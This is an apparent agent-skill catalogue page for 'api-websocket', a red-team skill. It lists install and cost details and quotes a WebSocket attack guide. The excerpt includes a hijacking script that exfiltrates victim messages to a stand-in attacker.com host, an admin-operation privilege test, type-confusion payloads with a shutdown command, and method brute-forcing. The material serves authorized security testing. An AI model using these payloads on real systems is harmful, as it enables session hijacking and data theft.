api-websocket

api-websocket is a skill for Claude Code from PurpleAILAB/Decepticon. It costs 52 tokens per session (1,088 once invoked), scanned A, original, Apache-2.0.

A security guide to WebSockets, a protocol that keeps a live two-way connection between a client and server.

In plain words
What is it for?
It is for reviewing WebSocket handshakes, authentication, message types, hidden remote-procedure-call routes, and connection downgrade or flooding behavior.
Why use it?
It helps find missing origin checks, message-level permissions, unsafe message handling, and denial-of-service risks in live connections.

Skill for Claude Code

Written for Claude Code: allowed-tools in frontmatter.

Good fit It is for reviewing WebSocket handshakes, authentication, message types, hidden remote-procedure-call routes, and connection downgrade or flooding behavior.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/purpleailab/decepticon/websocket
About the project

Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.

PurpleAILAB/Decepticon · 5,491 stars · on GitHub · decepticon.red

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add PurpleAILAB/Decepticon --skill websocket
Clone the repo
git clone --depth 1 https://github.com/PurpleAILAB/Decepticon

Made for: Claude Code.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for api-websocket

README.md
[![agentmods](https://agentmods.dev/badge/skills/purpleailab/decepticon/websocket/github.svg)](https://agentmods.dev/skills/purpleailab/decepticon/websocket)
Your own site
<a href="https://agentmods.dev/skills/purpleailab/decepticon/websocket"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/websocket/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for api-websocket

Your own site · 80×15
<a href="https://agentmods.dev/skills/purpleailab/decepticon/websocket"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/websocket.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 52 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,088 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector pass 7 Sept 2026
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00052 $0.01088
Opus 5 $0.00026 $0.00544
Sonnet 5 $0.00010 $0.00218
Haiku 4.5 $0.00005 $0.00109

Measured 9d ago against content hash 8a2f4af7219a, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

api-websocket scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -sk -i \
Origin

Copies of this mod

1 near-identical copy found in the catalogue:

  • websocket — 97% identical, 2 lines differ
packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md · 120 lines

How it starts

The opening of the file, as written. The whole thing — 120 lines — stays where its author put it; the contents beside it link to each section on GitHub.

WebSocket Attack Surface

Detect

Look for Upgrade: websocket in any handshake. Common paths: /ws, /socket.io, /graphql-ws, /cable (Rails ActionCable), /hub (SignalR).

# Quick handshake test
curl -sk -i \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://target" \
  https://target/ws
# 101 = upgraded

Top 5 bug classes

1. Cross-Site WebSocket Hijacking (CSWSH)

Server doesn't validate Origin. Attacker site can open a WS from the victim's browser with the victim's cookies:

<!-- Hosted on attacker.com -->
<script>
const ws = new WebSocket("wss://target/ws");
ws.onmessage = e => fetch("https://attacker.com/x?d=" + btoa(e.data));
ws.onopen   = () => ws.send(JSON.stringify({op:"list_messages"}));
</script>

Test by sending the same request you saw in DevTools but with Origin: https://attacker.com. If server accepts → CSWSH.

2. Missing per-message authorization

Server checks JWT on connect but trusts every later message. Send a connect with a low-priv token, then drop an admin-style message:

wscat -c "wss://target/ws?token=lowpriv_jwt"
> {"op":"users.list_all"}     # ⚠ admin op succeeds

3. Message-type confusion

Server dispatches by JSON type field. Send a message with two types or a type the server doesn't expect:

{"type":"chat","type":"admin","args":{"cmd":"shutdown"}}
{"type":"\u0061dmin","args":{...}}        // Unicode-normalize bypass

4. WS → wss downgrade

If the app uses ws:// over a public network: MITM to drop the upgrade and read everything in clear. Browser only forces wss for mixed-content cases.

5. Hidden RPC routes

WS multiplex many RPC methods over one socket. Discovery is rarely complete. Brute-force method names:

wscat -c wss://target/ws -H "Authorization: bearer $TOKEN" -x '{"op":"PLACEHOLDER","args":{}}'
# Replace PLACEHOLDER with each candidate: admin.*, internal.*, debug.*, eval, etc.
# Distinct error per route reveals what exists vs what's gated.

Read the full file on GitHub · 120 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 9d ago First seen · 120 lines · 52 tokens per session scan A 8a2f4af7219a

Subscribe to this mod's changes

api-websocket is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 52 tokens to every session and 1,088 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.